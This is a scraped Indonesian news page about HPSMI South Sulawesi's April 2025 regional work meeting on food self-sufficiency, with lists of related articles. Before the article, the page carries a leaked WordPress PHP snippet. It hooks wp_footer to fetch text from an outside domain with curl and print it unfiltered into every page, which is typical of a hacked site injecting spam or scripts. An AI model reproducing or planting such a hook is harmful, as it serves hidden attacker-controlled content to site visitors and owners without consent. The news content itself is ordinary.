function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');HPSMI Sulawesi Selatan Siap Bersinergi Wujudkan Swasembada Pangan Lewat Rakerwil 2025 - Suluh Nusantara

Home / Uncategorized

Selasa, 15 April 2025 - 21:47 WIB

HPSMI Sulawesi Selatan Siap Bersinergi Wujudkan Swasembada Pangan Lewat Rakerwil 2025

Makassar — Dewan Pimpinan Wilayah (DPW) Himpunan Petani Sejahtera Mandiri Indonesia (HPSMI) Sulawesi Selatan akan mengadakan Rapat Kerja Wilayah (Rakerwil) yang dijadwalkan berlangsung pada 16-17 April 2025 di Gedung Science Techno Park (STP) / Micro Finance Universitas Hasanuddin. Kegiatan ini mengusung tema “HPSMI Bersinergi Mewujudkan Swasembada Pangan untuk Ketahanan Nasional” sebagai langkah strategis dalam memperkuat pemberdayaan petani demi ketahanan pangan daerah maupun nasional.

Rakerwil tersebut merupakan tindak lanjut dari Rapat Kerja Nasional HPSMI yang sebelumnya diselenggarakan di Jakarta pada November 2023. Lewat forum ini, HPSMI Sulawesi Selatan menegaskan komitmennya untuk memperkuat posisi petani, nelayan, dan peternak agar lebih mandiri serta sejahtera melalui kemitraan antara akademisi, pelaku usaha, dan pemerintah.

Selain agenda pelantikan pengurus DPC se-Sulawesi Selatan, Rakerwil ini juga akan difokuskan pada konsolidasi internal dan penyusunan program kerja DPW HPSMI Sulsel periode 2022-2027. Kegiatan ini akan melibatkan 136 peserta yang terdiri dari jajaran pengurus DPW, DPC, narasumber, tamu undangan, hingga panitia pelaksana.

Baca Juga  Tingkatkan Kesehatan Ibu dan Bayi, Posko 14 PBL 2 FKM Unhas Gelar Edukasi Pentingnya Imunisasi Ibu Hamil di Desa Tombo-Tombolo

Adapun tujuan utama dari forum ini meliputi pengukuhan kepengurusan tingkat kabupaten, perumusan program kerja baik jangka pendek, menengah, maupun panjang, penguatan koordinasi internal, serta pengembangan kemitraan antar lembaga di lingkungan DPW dan DPC. Forum ini juga akan merumuskan rekomendasi organisasi baik untuk internal maupun eksternal, serta direncanakan menghasilkan nota kesepahaman (MoU) dengan sejumlah mitra strategis di sektor akademik, bisnis, dan pemerintahan.

Rangkaian acara Rakerwil akan dimulai dengan sambutan dan pembukaan oleh Gubernur Sulawesi Selatan, pemutaran dokumenter sejarah HPSMI, mini pameran produk hasil petani, serta sesi diskusi panel bersama Organisasi Perangkat Daerah (OPD) seperti Dinas Pertanian, Perikanan, Peternakan, Koperasi, dan Perdagangan Provinsi Sulawesi Selatan.

Diskusi panel ini akan membahas berbagai program daerah dalam rangka mewujudkan swasembada pangan hingga tahun 2029. Selain itu, akan ada sesi khusus yang membahas mekanisme pembiayaan pertanian yang melibatkan lembaga perbankan, BAZNAS, dan peluang kemitraan bersama perusahaan-perusahaan seperti PT. Semen Bosowa, PT. Semen Tonasa, dan PT. NSA.

Baca Juga  Kuliah Tamu FKM Unhas Menghadirkan Direktur CDC Kantor Kualitas Sains dan Layanan Perpustakaan Membahas “Descriptive Epidemiology”

Tak hanya melibatkan pemerintah dan pelaku bisnis, akademisi dari Universitas Hasanuddin juga akan turut ambil bagian dalam forum ini, di antaranya melalui pemaparan topik pengelolaan limbah berkonsep Zero Waste serta pemanfaatan rempah-rempah sebagai sumber pengobatan alami. Di hari kedua, forum akan berlanjut dengan sidang pleno untuk membahas, merumuskan, dan menetapkan hasil akhir program kerja dan rekomendasi organisasi.

Sejak berdiri pada tahun 2022, HPSMI Sulawesi Selatan telah berperan aktif dalam mendorong kemandirian petani, nelayan, dan peternak yang selama ini dihadapkan pada tantangan rendahnya produktivitas, keterbatasan akses teknologi, dan fluktuasi harga. Dengan sumber daya yang besar di sektor pertanian, perikanan, dan peternakan, HPSMI berharap Rakerwil 2025 akan merumuskan program yang konkret dan solutif dalam mendukung terwujudnya ketahanan pangan yang berkelanjutan.

Melalui kerjasama lintas sektor yang solid, HPSMI yakin bahwa Sulawesi Selatan bisa menjadi garda terdepan dalam memperkuat ketahanan pangan nasional di masa depan.

Share :

Baca Juga

Uncategorized

Refleksi Masa Depan Remaja: Mahasiswa Posko 4 PBL 2 FKM Unhas Melaksanakan Bedah Film Terkait Dampak Pernikahan Dini di SMP 1 dan SMP 8 Bangkala Barat

Uncategorized

Penguatan Peran Masyarakat dalam Mencegah Lonjakan Kasus DBD di Musim Hujan, oleh Departemen Kesehatan Lingkungan FKM Unhas

Uncategorized

Menyongsong Generasi Sehat: Mahasiswa Posko 33 PBL II FKM Unhas Berikan Edukasi dan Pemasangan Poster Stunting di Tonrokassi

Uncategorized

Posko 22 PBL III FKM Unhas Evaluasi Keberhasilan Penyuluhan Pencegahan Stunting di Desa Marayoka

Uncategorized

Penyuluhan bahaya asap rokok oleh Mahasiswa PBL 2 FKM Unhas

Uncategorized

PBL III FKM Unhas: Evaluasi Intervensi Imunisasi Pada Ibu Hamil Melalui Media X-Banner, Spanduk Informasi dan Video Edukasi oleh Posko 14 PBL III FKM UNHAS di Desa Tombo-Tombolo, Kecamatan Bangkala, Kabupaten Jeneponto

Uncategorized

Mahasiswa EBL Ilmu Gizi Unhas Temukan Ketimpangan Frekuensi Pengangkutan Sampah di RW 5 Bira dan Inisiatif Warga dalam Mengatasi Pengelolaan Limbah

Uncategorized

Posko 29 PBL III FKM UNHAS Lakukan Evaluasi Intervensi Rumah Bebas Asap Rokok di Dusun Bontomanai dan Parangbembeng